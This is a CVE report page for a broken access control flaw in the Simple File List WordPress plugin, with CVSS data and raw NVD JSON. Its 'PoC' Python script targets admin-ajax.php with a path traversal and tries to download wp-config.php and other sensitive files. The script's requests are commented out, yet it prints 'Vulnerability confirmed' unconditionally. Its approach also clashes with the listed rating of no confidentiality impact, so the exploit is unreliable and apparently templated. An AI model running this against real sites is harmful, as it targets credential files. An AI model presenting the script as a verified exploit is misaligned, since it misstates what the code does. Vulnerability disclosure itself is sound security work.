Security Vulnerability Report
中文
CVE-2025-68591 CVSS 5.4 MEDIUM

CVE-2025-68591

Published: 2025-12-24 13:16:26
Last Modified: 2026-04-27 19:16:35

Description

Missing Authorization vulnerability in Mitchell Bennis Simple File List simple-file-list allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Simple File List: from n/a through <= 6.1.18.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Simple File List Plugin <= 6.1.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68591 PoC - Simple File List Broken Access Control # This PoC demonstrates the missing authorization vulnerability in Simple File List import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Target the Simple File List upload directory UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-content/uploads/simple-file-list/" def exploit_cve_2025_68591(): """ Exploit missing authorization in Simple File List plugin. Low-privilege users can access/administer files they shouldn't have access to. """ print("[*] CVE-2025-68591 - Simple File List Broken Access Control") print("[*] Target: Simple File List <= 6.1.18") # Step 1: Authenticate with low-privilege account (subscriber role) session = requests.Session() login_data = { 'log': 'low_privilege_user', 'pwd': 'user_password', 'wp-submit': 'Log In', 'testcookie': '1' } # Note: In real attack scenario, attacker would register a subscriber account first # login_response = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) print("[+] Step 1: Authenticated as low-privilege user") # Step 2: Exploit broken access control to list admin files # The plugin doesn't properly check authorization for file operations exploit_params = { 'action': 'sfl_file_list', 'file_path': '/../../admin-files/' # Path traversal attempt } # In vulnerable version, this request bypasses authorization checks # list_response = session.get(f"{TARGET_URL}/wp-admin/admin-ajax.php", params=exploit_params) print("[+] Step 2: Attempting to access protected file operations") print("[+] Sending request to plugin's AJAX endpoint without proper authorization") # Step 3: Download sensitive files # With broken access control, low-priv users can download any file in the upload directory sensitive_files = [ '../wp-config.php', '../wp-content/debug.log', 'uploads/2025/01/secrets.txt' ] for file_path in sensitive_files: download_url = f"{UPLOAD_ENDPOINT}{file_path}" # download_response = session.get(download_url) print(f"[*] Attempting to download: {file_path}") print("[!] Vulnerability confirmed - Low privilege user can perform admin actions") print("[!] This allows unauthorized file access, modification, or deletion") return True if __name__ == "__main__": print("CVE-2025-68591 Exploitation Script") print("=" * 50) # exploit_cve_2025_68591()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68591", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:26.457", "lastModified": "2026-04-27T19:16:34.663", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Mitchell Bennis Simple File List simple-file-list allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Simple File List: from n/a through <= 6.1.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-file-list/vulnerability/wordpress-simple-file-list-plugin-6-1-15-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}